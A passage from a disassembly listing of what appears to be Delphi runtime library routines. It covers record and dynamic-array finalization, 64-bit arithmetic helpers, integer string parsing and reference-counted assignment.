add ebx, [esi+ebp+2]
mov ecx, [esi+ebp+6]
mov edx, [edx]
call sub_40005234
dec edi
jg short loc_40005294
pop ebp
jmp short loc_400052C3
; ---------------------------------------------------------------------------
loc_400052AF: ; CODE XREF: sub_40005234+2Cj
push ebp
mov ebp, edx
loc_400052B2: ; CODE XREF: sub_40005234+8Cj
mov eax, ebx
add ebx, [esi+ebp+2]
mov edx, esi
call sub_40005204
dec edi
jg short loc_400052B2
pop ebp
loc_400052C3: ; CODE XREF: sub_40005234+48j
; sub_40005234+5Bj ...
pop edi
pop esi
pop ebx
locret_400052C6: ; CODE XREF: sub_40005234+2j
retn
sub_40005234 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_400052C8 proc near ; CODE XREF: sub_40003D4C+12p
; sub_40005314+AFp ...
xor ecx, ecx
push ebx
mov cl, [edx+1]
push esi
push edi
mov ebx, eax
lea esi, [ecx+edx+0Ah]
mov edi, [ecx+edx+6]
loc_400052DA: ; CODE XREF: sub_400052C8+29j
mov edx, [esi]
mov eax, [esi+4]
add eax, ebx
mov edx, [edx]
mov ecx, 1
call sub_40005314
add esi, 8
dec edi
jg short loc_400052DA
mov eax, ebx
pop edi
pop esi
pop ebx
retn
sub_400052C8 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_400052FC proc near ; CODE XREF: sub_40005314+7Cp
cmp off_4001A010, 0
jz short loc_4000530C
call off_4001A010
retn
; ---------------------------------------------------------------------------
loc_4000530C: ; CODE XREF: sub_400052FC+7j
mov al, 10h
call sub_40002D50
sub_400052FC endp
; ---------------------------------------------------------------------------
retn
; =============== S U B R O U T I N E =======================================
sub_40005314 proc near ; CODE XREF: sub_400052C8+20p
; sub_40005314+99p ...
cmp ecx, 0
jz locret_400053FD
push eax
push ebx
push esi
push edi
mov ebx, eax
mov esi, edx
mov edi, ecx
xor edx, edx
mov al, [esi]
mov dl, [esi+1]
cmp al, 0Ah
jz short loc_40005357
cmp al, 0Bh
jz short loc_40005374
cmp al, 0Ch
jz short loc_4000538B
cmp al, 0Dh
jz short loc_4000539A
cmp al, 0Eh
jz short loc_400053B8
cmp al, 0Fh
jz loc_400053CE
cmp al, 11h
jz loc_400053DD
jmp loc_400053EE
; ---------------------------------------------------------------------------
loc_40005357: ; CODE XREF: sub_40005314+1Cj
cmp ecx, 1
mov eax, ebx
jg short loc_40005368
call sub_40004884
jmp loc_400053F9
; ---------------------------------------------------------------------------
loc_40005368: ; CODE XREF: sub_40005314+48j
mov edx, ecx
call sub_400048A8
jmp loc_400053F9
; ---------------------------------------------------------------------------
loc_40005374: ; CODE XREF: sub_40005314+20j
cmp ecx, 1
mov eax, ebx
jg short loc_40005382
call sub_40005008
jmp short loc_400053F9
; ---------------------------------------------------------------------------
loc_40005382: ; CODE XREF: sub_40005314+65j
mov edx, ecx
call sub_40005020
jmp short loc_400053F9
; ---------------------------------------------------------------------------
loc_4000538B: ; CODE XREF: sub_40005314+24j
; sub_40005314+82j
mov eax, ebx
add ebx, 10h
call sub_400052FC
dec edi
jg short loc_4000538B
jmp short loc_400053F9
; ---------------------------------------------------------------------------
loc_4000539A: ; CODE XREF: sub_40005314+28j
push ebp
mov ebp, edx
loc_4000539D: ; CODE XREF: sub_40005314+9Fj
mov edx, [esi+ebp+0Ah]
mov eax, ebx
add ebx, [esi+ebp+2]
mov ecx, [esi+ebp+6]
mov edx, [edx]
call sub_40005314
dec edi
jg short loc_4000539D
pop ebp
jmp short loc_400053F9
; ---------------------------------------------------------------------------
loc_400053B8: ; CODE XREF: sub_40005314+2Cj
push ebp
mov ebp, edx
loc_400053BB: ; CODE XREF: sub_40005314+B5j
mov eax, ebx
add ebx, [esi+ebp+2]
mov edx, esi
call sub_400052C8
dec edi
jg short loc_400053BB
pop ebp
jmp short loc_400053F9
; ---------------------------------------------------------------------------
loc_400053CE: ; CODE XREF: sub_40005314+30j
; sub_40005314+C5j
mov eax, ebx
add ebx, 4
call sub_40006204
dec edi
jg short loc_400053CE
jmp short loc_400053F9
; ---------------------------------------------------------------------------
loc_400053DD: ; CODE XREF: sub_40005314+38j
; sub_40005314+D6j
mov eax, ebx
mov edx, esi
add ebx, 4
call sub_40005B34
dec edi
jg short loc_400053DD
jmp short loc_400053F9
; ---------------------------------------------------------------------------
loc_400053EE: ; CODE XREF: sub_40005314+3Ej
pop edi
pop esi
pop ebx
pop eax
mov al, 2
jmp sub_40002D50
; ---------------------------------------------------------------------------
loc_400053F9: ; CODE XREF: sub_40005314+4Fj
; sub_40005314+5Bj ...
pop edi
pop esi
pop ebx
pop eax
locret_400053FD: ; CODE XREF: sub_40005314+3j
retn
sub_40005314 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40005400 proc near ; CODE XREF: sub_40005634+1p
; sub_40016784+77p
mov ecx, 1
jmp sub_40005314
sub_40005400 endp
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_4000540C proc near ; CODE XREF: sub_40005424+92p
; sub_40005540+75p
cmp off_4001A018, 0
jz short loc_4000541C
call off_4001A018
retn
; ---------------------------------------------------------------------------
loc_4000541C: ; CODE XREF: sub_4000540C+7j
mov al, 10h
call sub_40002D50
sub_4000540C endp
; ---------------------------------------------------------------------------
retn
; =============== S U B R O U T I N E =======================================
sub_40005424 proc near ; CODE XREF: sub_40005424+CFp
; sub_40005540+ACp
push ebx
push esi
push edi
push ebp
mov ebx, eax
mov esi, edx
xor eax, eax
mov al, [ecx+1]
lea edi, [eax+ecx+0Ah]
mov ebp, [edi-4]
xor eax, eax
mov ecx, [edi-8]
push ecx
loc_4000543E: ; CODE XREF: sub_40005424+100j
mov ecx, [edi+4]
sub ecx, eax
jle short loc_40005450
mov edx, eax
add eax, esi
add edx, ebx
call sub_40002DFC
loc_40005450: ; CODE XREF: sub_40005424+1Fj
mov eax, [edi+4]
mov edx, [edi]
mov edx, [edx]
mov cl, [edx]
cmp cl, 0Ah
jz short loc_4000548F
cmp cl, 0Bh
jz short loc_400054A0
cmp cl, 0Ch
jz short loc_400054B1
cmp cl, 0Dh
jz short loc_400054C2
cmp cl, 0Eh
jz short loc_400054E2
cmp cl, 0Fh
jz loc_400054FB
cmp cl, 11h
jz loc_4000550C
mov al, 2
pop ebp
pop edi
pop esi
pop ebx
jmp sub_40002D50
; ---------------------------------------------------------------------------
loc_4000548F: ; CODE XREF: sub_40005424+38j
mov edx, [eax+esi]
add eax, ebx
call sub_400048D8
mov eax, 4
jmp short loc_4000551D
; ---------------------------------------------------------------------------
loc_400054A0: ; CODE XREF: sub_40005424+3Dj
mov edx, [eax+esi]
add eax, ebx
call sub_40005044
mov eax, 4
jmp short loc_4000551D
; ---------------------------------------------------------------------------
loc_400054B1: ; CODE XREF: sub_40005424+42j
lea edx, [eax+esi]
add eax, ebx
call sub_4000540C
mov eax, 10h
jmp short loc_4000551D
; ---------------------------------------------------------------------------
loc_400054C2: ; CODE XREF: sub_40005424+47j
xor ecx, ecx
mov cl, [edx+1]
push dword ptr [ecx+edx+2]
push dword ptr [ecx+edx+6]
mov ecx, [ecx+edx+0Ah]
mov ecx, [ecx]
lea edx, [eax+esi]
add eax, ebx
call sub_40005540
pop eax
jmp short loc_4000551D
; ---------------------------------------------------------------------------
loc_400054E2: ; CODE XREF: sub_40005424+4Cj
xor ecx, ecx
mov cl, [edx+1]
mov ecx, [ecx+edx+2]
push ecx
mov ecx, edx
lea edx, [eax+esi]
add eax, ebx
call sub_40005424
pop eax
jmp short loc_4000551D
; ---------------------------------------------------------------------------
loc_400054FB: ; CODE XREF: sub_40005424+51j
mov edx, [eax+esi]
add eax, ebx
call sub_4000621C
mov eax, 4
jmp short loc_4000551D
; ---------------------------------------------------------------------------
loc_4000550C: ; CODE XREF: sub_40005424+5Aj
mov ecx, edx
mov edx, [eax+esi]
add eax, ebx
call sub_40005B70
mov eax, 4
loc_4000551D: ; CODE XREF: sub_40005424+7Aj
; sub_40005424+8Bj ...
add eax, [edi+4]
add edi, 8
dec ebp
jnz loc_4000543E
pop ecx
sub ecx, eax
jle short loc_40005539
lea edx, [eax+ebx]
add eax, esi
call sub_40002DFC
loc_40005539: ; CODE XREF: sub_40005424+109j
pop ebp
pop edi
pop esi
pop ebx
retn
sub_40005424 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40005540 proc near ; CODE XREF: sub_40005424+B6p
; sub_40005540+98p ...
arg_0 = dword ptr 4
push ebx
push esi
push edi
push ebp
mov ebx, eax
mov esi, edx
mov edi, ecx
mov ebp, [esp+10h+arg_0]
mov cl, [edi]
cmp cl, 0Ah
jz short loc_40005586
cmp cl, 0Bh
jz short loc_4000559D
cmp cl, 0Ch
jz short loc_400055B1
cmp cl, 0Dh
jz short loc_400055C5
cmp cl, 0Eh
jz short loc_400055E6
cmp cl, 0Fh
jz loc_40005603
cmp cl, 11h
jz loc_40005617
mov al, 2
pop ebp
pop edi
pop esi
pop ebx
jmp sub_40002D50
; ---------------------------------------------------------------------------
loc_40005586: ; CODE XREF: sub_40005540+13j
; sub_40005540+56j
mov eax, ebx
mov edx, [esi]
call sub_400048D8
add ebx, 4
add esi, 4
dec ebp
jnz short loc_40005586
jmp loc_4000562B
; ---------------------------------------------------------------------------
loc_4000559D: ; CODE XREF: sub_40005540+18j
; sub_40005540+6Dj
mov eax, ebx
mov edx, [esi]
call sub_40005044
add ebx, 4
add esi, 4
dec ebp
jnz short loc_4000559D
jmp short loc_4000562B
; ---------------------------------------------------------------------------
loc_400055B1: ; CODE XREF: sub_40005540+1Dj
; sub_40005540+81j
mov eax, ebx
mov edx, esi
call sub_4000540C
add ebx, 10h
add esi, 10h
dec ebp
jnz short loc_400055B1
jmp short loc_4000562B
; ---------------------------------------------------------------------------
loc_400055C5: ; CODE XREF: sub_40005540+22j
xor ecx, ecx
mov cl, [edi+1]
lea edi, [ecx+edi+2]
loc_400055CE: ; CODE XREF: sub_40005540+A2j
mov eax, ebx
mov edx, esi
mov ecx, [edi+8]
push dword ptr [edi+4]
call sub_40005540
add ebx, [edi]
add esi, [edi]
dec ebp
jnz short loc_400055CE
jmp short loc_4000562B
; ---------------------------------------------------------------------------
loc_400055E6: ; CODE XREF: sub_40005540+27j
; sub_40005540+BFj
mov eax, ebx
mov edx, esi
mov ecx, edi
call sub_40005424
xor eax, eax
mov al, [edi+1]
add ebx, [eax+edi+2]
add esi, [eax+edi+2]
dec ebp
jnz short loc_400055E6
jmp short loc_4000562B
; ---------------------------------------------------------------------------
loc_40005603: ; CODE XREF: sub_40005540+2Cj
; sub_40005540+D3j
mov eax, ebx
mov edx, [esi]
call sub_4000621C
add ebx, 4
add esi, 4
dec ebp
jnz short loc_40005603
jmp short loc_4000562B
; ---------------------------------------------------------------------------
loc_40005617: ; CODE XREF: sub_40005540+35j
; sub_40005540+E9j
mov eax, ebx
mov edx, [esi]
mov ecx, edi
call sub_40005B70
add ebx, 4
add esi, 4
dec ebp
jnz short loc_40005617
loc_4000562B: ; CODE XREF: sub_40005540+58j
; sub_40005540+6Fj ...
pop ebp
pop edi
pop esi
pop ebx
retn 4
sub_40005540 endp
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40005634 proc near ; CODE XREF: sub_4000C230+1C3p
push eax
call sub_40005400
pop eax
call sub_40002C3C
retn
sub_40005634 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40005644 proc near ; CODE XREF: sub_40005650+18p
xchg eax, ecx
xchg ecx, edx
call sub_400049E0
retn
sub_40005644 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40005650 proc near ; CODE XREF: sub_40016280+2D8p
var_C = dword ptr -0Ch
push ebx
push esi
push ecx
mov esi, edx
mov ebx, eax
mov [esp+0Ch+var_C], ebx
mov eax, [esp+0Ch+var_C]
call sub_40005168
mov edx, eax
mov ecx, esi
mov eax, ebx
call sub_40005644
pop edx
pop esi
pop ebx
retn
sub_40005650 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40005674 proc near ; CODE XREF: sub_40016280+D3p
; sub_40016280+101p ...
var_4 = dword ptr -4
push ecx
xor edx, edx
mov [esp+4+var_4], edx
mov edx, eax
test edx, edx
jz short loc_40005685
sub edx, 4
mov edx, [edx]
loc_40005685: ; CODE XREF: sub_40005674+Aj
mov ecx, esp
xchg eax, ecx
xchg edx, ecx
call sub_4000506C
mov eax, [esp+4+var_4]
pop edx
retn
sub_40005674 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40005694 proc near ; DATA XREF: .itext:40019034o
mov al, 11h
jmp sub_40002D50
sub_40005694 endp
; ---------------------------------------------------------------------------
retn
; =============== S U B R O U T I N E =======================================
sub_4000569C proc near ; CODE XREF: sub_40005754+186p
; sub_400080E8+43p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push edx
push eax
mov eax, [esp+8+arg_4]
mul [esp+8+var_8]
mov ecx, eax
mov eax, [esp+8+var_4]
mul [esp+8+arg_0]
add ecx, eax
mov eax, [esp+8+var_8]
mul [esp+8+arg_0]
add edx, ecx
pop ecx
pop ecx
retn 8
sub_4000569C endp
; ---------------------------------------------------------------------------
retn
; =============== S U B R O U T I N E =======================================
sub_400056C0 proc near ; CODE XREF: sub_4000679C+68p
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
push edi
mov ebx, [esp+0Ch+arg_0]
mov ecx, [esp+0Ch+arg_4]
mov esi, edx
mov edi, ecx
sar esi, 1Fh
xor eax, esi
xor edx, esi
sub eax, esi
sbb edx, esi
sar edi, 1Fh
xor esi, edi
xor ebx, edi
xor ecx, edi
sub ebx, edi
sbb ecx, edi
jnz short loc_400056FC
cmp edx, ebx
jb short loc_400056F6
mov ecx, eax
mov eax, edx
xor edx, edx
div ebx
xchg eax, ecx
loc_400056F6: ; CODE XREF: sub_400056C0+2Bj
div ebx
mov edx, ecx
jmp short loc_40005743
; ---------------------------------------------------------------------------
loc_400056FC: ; CODE XREF: sub_400056C0+27j
sub esp, 0Ch
mov [esp+18h+var_18], eax
mov [esp+18h+var_14], ebx
mov [esp+18h+var_10], edx
mov edi, ecx
shr edx, 1
rcr eax, 1
ror edi, 1
rcr ebx, 1
bsr ecx, ecx
shrd ebx, edi, cl
shrd eax, edx, cl
shr edx, cl
rol edi, 1
div ebx
mov ebx, [esp+18h+var_18]
mov ecx, eax
imul edi, eax
mul [esp+18h+var_14]
add edx, edi
sub ebx, eax
mov eax, ecx
mov ecx, [esp+18h+var_10]
sbb ecx, edx
sbb eax, 0
xor edx, edx
add esp, 0Ch
loc_40005743: ; CODE XREF: sub_400056C0+3Aj
xor eax, esi
xor edx, esi
sub eax, esi
sbb edx, esi
pop edi
pop esi
pop ebx
retn 8
sub_400056C0 endp
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40005754 proc near ; CODE XREF: sub_40007E0C+Bp
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = byte ptr -14h
push ebx
push esi
push edi
push ebp
add esp, 0FFFFFFECh
mov [esp+24h+var_24], edx
mov esi, eax
mov ebp, 1
xor edi, edi
mov [esp+24h+var_1C], 0
mov [esp+24h+var_18], 0
test esi, esi
jnz short loc_40005786
mov eax, [esp+24h+var_24]
mov [eax], ebp
jmp loc_4000595C
; ---------------------------------------------------------------------------
loc_40005785: ; CODE XREF: sub_40005754+37j
inc ebp
loc_40005786: ; CODE XREF: sub_40005754+25j
cmp byte ptr [esi+ebp-1], 20h
jz short loc_40005785
mov [esp+24h+var_14], 0
movzx eax, byte ptr [esi+ebp-1]
cmp al, 2Dh
jnz short loc_400057A3
mov [esp+24h+var_14], 1
inc ebp
jmp short loc_400057A8
; ---------------------------------------------------------------------------
loc_400057A3: ; CODE XREF: sub_40005754+45j
cmp al, 2Bh
jnz short loc_400057A8
inc ebp
loc_400057A8: ; CODE XREF: sub_40005754+4Dj
; sub_40005754+51j
mov bl, 1
cmp byte ptr [esi+ebp-1], 24h
jz short loc_400057DB
movzx eax, byte ptr [esi+ebp-1]
call sub_4000309C
cmp al, 58h
jz short loc_400057DB
cmp byte ptr [esi+ebp-1], 30h
jnz loc_40005891
movzx eax, byte ptr [esi+ebp]
call sub_4000309C
cmp al, 58h
jnz loc_40005891
loc_400057DB: ; CODE XREF: sub_40005754+5Bj
; sub_40005754+69j
cmp byte ptr [esi+ebp-1], 30h
jnz short loc_400057E3
inc ebp
loc_400057E3: ; CODE XREF: sub_40005754+8Cj
inc ebp
loc_400057E4: ; CODE XREF: sub_40005754+111j
movzx ecx, byte ptr [esi+ebp-1]
mov eax, ecx
add al, 0D0h
sub al, 0Ah
jb short loc_400057FF
add al, 0F9h
sub al, 6
jb short loc_40005807
add al, 0E6h
sub al, 6
jb short loc_4000580F
jmp short loc_4000586A
; ---------------------------------------------------------------------------
loc_400057FF: ; CODE XREF: sub_40005754+9Bj
movzx edi, cl
sub edi, 30h
jmp short loc_40005815
; ---------------------------------------------------------------------------
loc_40005807: ; CODE XREF: sub_40005754+A1j
movzx edi, cl
sub edi, 37h
jmp short loc_40005815
; ---------------------------------------------------------------------------
loc_4000580F: ; CODE XREF: sub_40005754+A7j
movzx edi, cl
sub edi, 57h
loc_40005815: ; CODE XREF: sub_40005754+B1j
; sub_40005754+B9j
cmp [esp+24h+var_18], 0
jnz short loc_40005825
cmp [esp+24h+var_1C], 0
jb short loc_4000586A
jmp short loc_40005827
; ---------------------------------------------------------------------------
loc_40005825: ; CODE XREF: sub_40005754+C6j
jl short loc_4000586A
loc_40005827: ; CODE XREF: sub_40005754+CFj
cmp [esp+24h+var_18], 0FFFFFFFh
jnz short loc_4000583A
cmp [esp+24h+var_1C], 0FFFFFFFFh
jbe short loc_4000583C
jmp short loc_4000586A
; ---------------------------------------------------------------------------
loc_4000583A: ; CODE XREF: sub_40005754+DBj
jg short loc_4000586A
loc_4000583C: ; CODE XREF: sub_40005754+E2j
mov eax, edi
cdq
push edx
push eax
mov eax, [esp+2Ch+var_1C]
mov edx, [esp+2Ch+var_18]
shld edx, eax, 4
shl eax, 4
add eax, [esp+2Ch+var_2C]
adc edx, [esp+2Ch+var_28]
add esp, 8
mov [esp+24h+var_1C], eax
mov [esp+24h+var_18], edx
inc ebp
xor ebx, ebx
jmp loc_400057E4
; ---------------------------------------------------------------------------
loc_4000586A: ; CODE XREF: sub_40005754+A9j
; sub_40005754+CDj ...
cmp [esp+24h+var_14], 0
jz loc_40005942
mov eax, [esp+24h+var_1C]
mov edx, [esp+24h+var_18]
neg eax
adc edx, 0
neg edx
mov [esp+24h+var_1C], eax
mov [esp+24h+var_18], edx
jmp loc_40005942
; ---------------------------------------------------------------------------
loc_40005891: ; CODE XREF: sub_40005754+70j
; sub_40005754+81j ...
movzx eax, byte ptr [esi+ebp-1]
add al, 0D0h
sub al, 0Ah
jnb short loc_400058FB
movzx edi, byte ptr [esi+ebp-1]
sub edi, 30h
cmp [esp+24h+var_18], 0
jnz short loc_400058B4
cmp [esp+24h+var_1C], 0
jb short loc_400058FB
jmp short loc_400058B6
; ---------------------------------------------------------------------------
loc_400058B4: ; CODE XREF: sub_40005754+155j
jl short loc_400058FB
loc_400058B6: ; CODE XREF: sub_40005754+15Ej
cmp [esp+24h+var_18], 0CCCCCCCh
jnz short loc_400058CC
cmp [esp+24h+var_1C], 0CCCCCCCCh
jbe short loc_400058CE
jmp short loc_400058FB
; ---------------------------------------------------------------------------
loc_400058CC: ; CODE XREF: sub_40005754+16Aj
jg short loc_400058FB
loc_400058CE: ; CODE XREF: sub_40005754+174j
push 0
push 0Ah
mov eax, [esp+2Ch+var_1C]
mov edx, [esp+2Ch+var_18]
call sub_4000569C
push edx
push eax
mov eax, edi
cdq
add eax, [esp+2Ch+var_2C]
adc edx, [esp+2Ch+var_28]
add esp, 8
mov [esp+24h+var_1C], eax
mov [esp+24h+var_18], edx
inc ebp
xor ebx, ebx
jmp short loc_40005891
; ---------------------------------------------------------------------------
loc_400058FB: ; CODE XREF: sub_40005754+146j
; sub_40005754+15Cj ...
cmp [esp+24h+var_14], 0
jz short loc_40005919
mov eax, [esp+24h+var_1C]
mov edx, [esp+24h+var_18]
neg eax
adc edx, 0
neg edx
mov [esp+24h+var_1C], eax
mov [esp+24h+var_18], edx
loc_40005919: ; CODE XREF: sub_40005754+1ACj
cmp [esp+24h+var_18], 0
jnz short loc_40005925
cmp [esp+24h+var_1C], 0
loc_40005925: ; CODE XREF: sub_40005754+1CAj
jz short loc_40005942
cmp [esp+24h+var_18], 0
jnz short loc_40005938
cmp [esp+24h+var_1C], 0
setb al
jmp short loc_4000593B
; ---------------------------------------------------------------------------
loc_40005938: ; CODE XREF: sub_40005754+1D8j
setl al
loc_4000593B: ; CODE XREF: sub_40005754+1E2j
cmp al, [esp+24h+var_14]
jz short loc_40005942
dec ebp
loc_40005942: ; CODE XREF: sub_40005754+11Bj
; sub_40005754+138j ...
cmp byte ptr [esi+ebp-1], 0
setnz al
or bl, al
jz short loc_40005955
mov eax, [esp+24h+var_24]
mov [eax], ebp
jmp short loc_4000595C
; ---------------------------------------------------------------------------
loc_40005955: ; CODE XREF: sub_40005754+1F8j
mov eax, [esp+24h+var_24]
xor edx, edx
mov [eax], edx
loc_4000595C: ; CODE XREF: sub_40005754+2Cj
; sub_40005754+1FFj
mov eax, [esp+24h+var_1C]
mov edx, [esp+24h+var_18]
add esp, 14h
pop ebp
pop edi
pop esi
pop ebx
retn
sub_40005754 endp
; =============== S U B R O U T I N E =======================================
sub_4000596C proc near ; CODE XREF: sub_40005974p
; sub_40007E2C+5p ...
test eax, eax
jz short locret_40005973
mov eax, [eax-4]
locret_40005973: ; CODE XREF: sub_4000596C+2j
retn
sub_4000596C endp
; =============== S U B R O U T I N E =======================================
sub_40005974 proc near ; CODE XREF: sub_40007F40+3Ap
; sub_40007F40+5Dp ...
call sub_4000596C
dec eax
retn
sub_40005974 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4000597C proc near ; CODE XREF: sub_4000599C+105p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push [ebp+arg_0]
call sub_40005540
pop ebp
retn 4
sub_4000597C endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4000598C proc near ; CODE XREF: sub_4000599C+AFp
jmp sub_40005314
sub_4000598C endp
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40005994 proc near ; CODE XREF: sub_4000599C+2Fp
call sub_40005B34
retn
sub_40005994 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4000599C proc near ; CODE XREF: sub_4000599C+172p
; sub_40005B28+5p
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
add esp, 0FFFFFFE0h
push ebx
push esi
push edi
mov [ebp+var_8], ecx
mov esi, edx
mov [ebp+var_4], eax
mov ebx, [ebp+var_4]
mov ebx, [ebx]
mov eax, [ebp+arg_0]
mov edi, [eax]
test edi, edi
jg short loc_400059D5
test edi, edi
jge short loc_400059C6
mov al, 4
call sub_40002D50
; ---------------------------------------------------------------------------
loc_400059C6: ; CODE XREF: sub_4000599C+21j
mov eax, [ebp+var_4]
mov edx, esi
call sub_40005994
jmp loc_40005B1E
; ---------------------------------------------------------------------------
loc_400059D5: ; CODE XREF: sub_4000599C+1Dj
xor eax, eax
mov [ebp+var_10], eax
test ebx, ebx
jz short loc_400059E9
sub ebx, 4
mov eax, [ebx]
mov [ebp+var_10], eax
sub ebx, 4
loc_400059E9: ; CODE XREF: sub_4000599C+40j
movzx eax, byte ptr [esi+1]
add esi, eax
mov eax, esi
mov edx, [eax+2]
mov [ebp+var_18], edx
mov edx, [eax+6]
test edx, edx
jz short loc_40005A02
mov esi, [edx]
jmp short loc_40005A04
; ---------------------------------------------------------------------------
loc_40005A02: ; CODE XREF: sub_4000599C+60j
xor esi, esi
loc_40005A04: ; CODE XREF: sub_4000599C+64j
mov eax, edi
imul [ebp+var_18]
mov [ebp+var_1C], eax
mov eax, [ebp+var_1C]
cdq
idiv edi
cmp eax, [ebp+var_18]
jz short loc_40005A1E
mov al, 4
call sub_40002D50
; ---------------------------------------------------------------------------
loc_40005A1E: ; CODE XREF: sub_4000599C+79j
add [ebp+var_1C], 8
test ebx, ebx
jz short loc_40005A2B
cmp dword ptr [ebx], 1
jnz short loc_40005A60
loc_40005A2B: ; CODE XREF: sub_4000599C+88j
mov [ebp+var_20], ebx
cmp edi, [ebp+var_10]
jge short loc_40005A50
test esi, esi
jz short loc_40005A50
mov eax, ebx
add eax, 8
mov edx, edi
imul edx, [ebp+var_18]
add eax, edx
mov ecx, [ebp+var_10]
sub ecx, edi
mov edx, esi
call sub_4000598C
loc_40005A50: ; CODE XREF: sub_4000599C+95j
; sub_4000599C+99j
lea eax, [ebp+var_20]
mov edx, [ebp+var_1C]
call sub_40002C54
mov ebx, [ebp+var_20]
jmp short loc_40005ABE
; ---------------------------------------------------------------------------
loc_40005A60: ; CODE XREF: sub_4000599C+8Dj
dec dword ptr [ebx]
mov eax, [ebp+var_1C]
call sub_40002C20
mov ebx, eax
mov eax, [ebp+var_10]
mov [ebp+var_14], eax
cmp edi, [ebp+var_14]
jge short loc_40005A7A
mov [ebp+var_14], edi
loc_40005A7A: ; CODE XREF: sub_4000599C+D9j
test esi, esi
jz short loc_40005AA8
mov edx, [ebp+var_14]
imul edx, [ebp+var_18]
mov eax, ebx
add eax, 8
xor ecx, ecx
call sub_40003580
mov eax, [ebp+var_14]
push eax
mov edx, [ebp+var_4]
mov edx, [edx]
mov eax, ebx
add eax, 8
mov ecx, esi
call sub_4000597C
jmp short loc_40005ABE
; ---------------------------------------------------------------------------
loc_40005AA8: ; CODE XREF: sub_4000599C+E0j
mov ecx, [ebp+var_14]
imul ecx, [ebp+var_18]
mov edx, ebx
add edx, 8
mov eax, [ebp+var_4]
mov eax, [eax]
call sub_40002DFC
loc_40005ABE: ; CODE XREF: sub_4000599C+C2j
; sub_4000599C+10Aj
mov dword ptr [ebx], 1
add ebx, 4
mov [ebx], edi
add ebx, 4
mov edx, edi
sub edx, [ebp+var_10]
imul edx, [ebp+var_18]
mov eax, [ebp+var_18]
imul eax, [ebp+var_10]
add eax, ebx
xor ecx, ecx
call sub_40003580
cmp [ebp+var_8], 1
jle short loc_40005B19
add [ebp+arg_0], 4
dec [ebp+var_8]
dec edi
test edi, edi
jl short loc_40005B19
inc edi
mov [ebp+var_C], 0
loc_40005AFF: ; CODE XREF: sub_4000599C+17Bj
mov eax, [ebp+arg_0]
push eax
mov eax, [ebp+var_C]
lea eax, [ebx+eax*4]
mov ecx, [ebp+var_8]
mov edx, esi
call sub_4000599C
inc [ebp+var_C]
dec edi
jnz short loc_40005AFF
loc_40005B19: ; CODE XREF: sub_4000599C+14Dj
; sub_4000599C+159j
mov eax, [ebp+var_4]
mov [eax], ebx
loc_40005B1E: ; CODE XREF: sub_4000599C+34j
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn 4
sub_4000599C endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40005B28 proc near ; CODE XREF: sub_40007E2C+20p
; sub_40007E2C+57p ...
var_4 = dword ptr -4
push esp
add [esp+4+var_4], 4
call sub_4000599C
retn
sub_40005B28 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40005B34 proc near ; CODE XREF: sub_40005314+D0p
; sub_40005994p ...
mov ecx, [eax]
test ecx, ecx
jz short locret_40005B6D
mov dword ptr [eax], 0
lock dec dword ptr [ecx-8]
jnz short locret_40005B6D
push eax
mov eax, ecx
xor ecx, ecx
mov cl, [edx+1]
mov edx, [ecx+edx+6]
test edx, edx
jz short loc_40005B64
mov ecx, [eax-4]
test ecx, ecx
jz short loc_40005B64
mov edx, [edx]
call sub_40005314
loc_40005B64: ; CODE XREF: sub_40005B34+20j
; sub_40005B34+27j
sub eax, 8
call sub_40002C3C
pop eax
locret_40005B6D: ; CODE XREF: sub_40005B34+4j
; sub_40005B34+10j
retn
sub_40005B34 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40005B70 proc near ; CODE XREF: sub_40005424+EFp
; sub_40005540+DDp
push ebx
mov ebx, [eax]
test edx, edx
jz short loc_40005B7B
lock inc dword ptr [edx-8]
loc_40005B7B: ; CODE XREF: sub_40005B70+5j
test ebx, ebx
jz short loc_40005B93
lock dec dword ptr [ebx-8]
jnz short loc_40005B93
push eax
push edx
mov edx, ecx
inc dword ptr [ebx-8]
call sub_40005B34
pop edx
pop eax
loc_40005B93: ; CODE XREF: sub_40005B70+Dj
; sub_40005B70+13j
mov [eax], edx
pop ebx
retn
sub_40005B70 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
